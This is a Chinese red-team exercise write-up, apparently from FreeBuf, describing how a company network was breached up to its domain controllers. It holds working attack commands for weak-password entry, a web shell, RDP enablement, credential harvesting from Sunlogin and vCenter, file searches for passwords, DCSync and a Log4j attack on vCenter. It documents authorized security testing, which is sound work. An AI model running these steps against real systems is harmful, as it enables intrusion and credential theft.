攻防演练 | 记一次打穿xx公司域控
2023-7-26 14:7:9 Author: www.freebuf.com(查看原文) 阅读量:47 收藏

外网打点

资产识别

使用 Ehole 快速识别重点资产链接：https://github.com/EdgeSecurityTeam/EHole

1690350950_64c0b5662bccfd88c7e51.png!small?1690350946571

PYTHON

1690350959_64c0b56f3ddca76e26ecd.png!small?1690350956111

寻找口子

1、每个网站可以尝试默认密码或’admin’、1qazxsw2==== 等类似弱口令

这里通过 sysadmin/1 成功登入泛微后台

1690350967_64c0b577c34517370daae.png!small?1690350964272

2、接着浏览其他站点，这里运气比较好发现了用友的 nday

1690350977_64c0b5815c07d828a3e6e.png!small?1690350973969

1690350985_64c0b589bb08103e4dad1.png!small?1690350982321

3、访问接口 /servlet/~ic/bsh.servlet.BshServlet 执行命令

1690350995_64c0b593201398e98a65f.png!small?1690350991715

4、另外还存在用友 nc 任意文件上传漏洞，直接上哥斯拉

1690351003_64c0b59b5d6e43bc834e1.png!small?1690350999904

内网渗透

杀软识别

PYTHON

1690351024_64c0b5b0787abe46ea0ef.png!small?1690351020870

把之前准备好的 bypass360 马子扔上去，成功上线

1690351032_64c0b5b88aac42c0c158f.png!small?1690351028987

隧道搭建

ping 了一下发现机器出网，可以上 frp 搭建反向代理隧道

1690351042_64c0b5c242209a6f690d1.png!small?1690351038615

proxifier 配置相应的端口账密便可以进入内网

1690351049_64c0b5c9e6e80ebfbaaaf.png!small?1690351046346

由于周六日没人防守，直接上 fscan 对各个 C 段开扫，发现网段里的弱口令或 web 漏洞，帮助我们拿下机器进一步横向，拿到机器后先做信息搜集，网段，机器信息，敏感文件，xshell、navicat 密码等常规的这里就不细说了

接着可以通过 mimikatz 抓取密码，抓不到明文也可以尝试到 cmd5 上进行破解，充值 100 块 100 条还是挺划算的，破解率较高，白嫖可以到这个网站 https://www.somd5.com

拿到机器的账号密码之后，若机器开启了 3389 端口可以选择 rdp 远程桌面过去，没开的话可以开启 3389 端口进行远程连接

PLAINTEXT


#执行以下命令操作注册表来开启机器3389远程桌面服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

#执行以下命令操作注册表来关闭机器3389远程桌面服务 
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

#使用以下命令添加防火墙放行策略
netsh firewall add portopening protocol = TCP port = 3389 name = rdp

但如果是正常办公时间，贸然登录过去会很容易引起对方的发现，若进程中有 sunlogin 进程，可以读取识别码和验证码，通过向日葵连接相对比较隐蔽

1690351085_64c0b5ed5cc66afdb7a5d.png!small?1690351081805

向日葵读取密码

PLAINTEXT

1
2
3
4
5
6
7
8
9
10
注册表读取配置信息：
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

向日葵默认配置文件路径:
安装版：C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版：C:\ProgramData\Oray\SunloginClient\config.ini
本机验证码参数：encry_pwd
本机识别码参数：fastcode(去掉开头字母)
sunlogincode：判断用户是否登录状态

读注册表：

1690351114_64c0b60ac930fb7418d99.png!small?1690351111181

读默认配置文件：

fastcode 去掉前面的数字 k 为本机识别码 278263893

1690351121_64c0b611d25ed2176fe51.png!small?1690351118384

使用脚本进行解密获得本机验证码

1690351130_64c0b61adf26958983653.png!small?1690351127501

运维机

横向的时候优先拿运维机，一般运维机存储着大量的账号密码信息，比如这次无意中发现的运维机器是弱口令 administrator/111111

拿下后可通过运行 bat 收集服务器、网络拓扑、密码本、公司信息等重要文件。

HTML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
dir /a /s /b d:\"*.txt" 
dir /a /s /b d:\"*.xml" 
dir /a /s /b d:\"*.mdb" 
dir /a /s /b d:\"*.sql" 
dir /a /s /b d:\"*.mdf" 
dir /a /s /b d:\"*.eml" 
dir /a /s /b d:\"*.pst" 
dir /a /s /b d:\"*conf*" 
dir /a /s /b d:\"*bak*" 
dir /a /s /b d:\"*pwd*" 
dir /a /s /b d:\"*pass*" 
dir /a /s /b d:\"*login*" 
dir /a /s /b d:\"*user*"
dir /a /s /b c:\password.txt
dir /a /s /b c:\*.conf *.ini *.inc *.config 
dir /a /s /b c:\conf.* config.* 
dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "拓扑"
dir /a /s /b c:\*.conf *.ini *.inc *.config | findstr "运维"
dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "密码" >C:\Users\1.txt

最后收集了一堆密码本，可登录到各个重要系统，例如：

H3C 堡垒机

1690351146_64c0b62a8dee8c33e24d2.png!small?1690351142976

gitlab 仓库

1690351154_64c0b6325ee87dc4f38cb.png!small?1690351150746

禅道

1690351161_64c0b6395722fc3ea3ee9.png!small?1690351157780

拿着密码本重新组合字典，对网段内的机器进行爆破，一般存在口令复用的情况，成功拿下几十台机器

1690351173_64c0b64501649fe07c92d.png!small?1690351169425

1690351179_64c0b64bf187d7aee6f54.png!small?1690351176559

获取域控

通过 fscan 扫描的时候可以检索 AD 关键字发现域控

PLAINTEXT

1
2
3
4
5
6
7
8
[*]192.168.10.38 #非真实域控ip
   [->]D1-Prod-AD-P01
   [->]192.168.10.38
   
[*]192.168.10.20 #非真实域控ip
   [->]AD
   [->]192.168.10.20

接着可以通过该机器是否开放 53 和 389 端口进行进一步确认

爆破成功的机器里发现其中一台为域内机器，刚好该机器存在域管进程，提权到 system 权限后 inject 到域管进程，通过 Dcsync 成功获取域管密码的 hash 值，其中一个被禁用的账户刚好是弱口令，解出明文密码并激活账户，成功登录两台域控机器，除此以外还可以尝试域漏洞、NTLM 中继、委派等

PLAINTEXT

1
2
3
4
5
net group "domain admins" /domain
dcsync domain xxxx
shell net user xxxx
shell net user xxxx /active:yes /domain

1690351199_64c0b65f439904c872746.png!small?1690351195810

1690351211_64c0b66b1696ee6f41319.png!small?1690351207522

云管平台

通过运维机的 xshell 查找历史记录拿下了主备数据库，然后执行 sql 语句成功获取出了云管平台的 hash

1690351219_64c0b6737c33583046a1f.png!small?1690351215960

到 cmd5 上进行解密，一块钱拿下云管平台很划算

1690351228_64c0b67cb2c5ec82c556b.png!small?1690351225050

1690351237_64c0b685263f1d499418a.png!small?1690351233575

官网

通过云管平台登录官网机器，抓取浏览器密码成功获取后台密码

1690351244_64c0b68c6f61a4420897a.png!small?1690351240839

Vcenter

在扫描的过程中发现几台 Vcenter，Vcenter 常规有三种打法，分别是 CVE-2021-22005-rce、2021-21972-uoloadova 接口 rce 和 log4j，前两个测试过没成功，log4j 通过 dnslog 探测漏洞存在，vcenter 的漏洞触发点在 xff 头部，这里可手工打或者使用 sp4ce 师傅的工具

https://github.com/NS-Sp4ce/Vm4J

1690351254_64c0b696741b630b8e631.png!small?1690351250926

1690351261_64c0b69d40e0ec0816a1c.png!small?1690351257977

但一般打完是非交互式 shell，没有回显，这里使用命令切换为交互式 shell

PLAINTEXT

1
python -c 'import pty;pty.spawn('/bin/bash')'

重置密码

PLAINTEXT

1
2
/usr/lib/vmware-vmdir/bin/vdcadmintool  #重置密码

不重置密码获取密码

https://github.com/shmilylty/vhost\\_password\\_ decrypt

PLAINTEXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#获取vc用户的密码
cat /etc/vmware-vpx/vcdb.properties

#把加密后的密码单独拿出来，
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
#改成这种格式
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==

#拿解密key
cat /etc/vmware-vpx/ssl/symkey.dat
Windows：C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
Linux：/etc/vmware-vpx/ssl/symkey.dat

#破解
python decrypt.py symkey.dat password.enc pass.txt

然后就可以登入 web 控制台了，最后也是拿下了两台域控

1690351284_64c0b6b47960fb2719056.png!small?1690351281091

1690351290_64c0b6ba111f0353d1b6b.png!small?1690351286445


文章来源: https://www.freebuf.com/articles/web/373114.html
如有侵权请联系:admin#unsafe.sh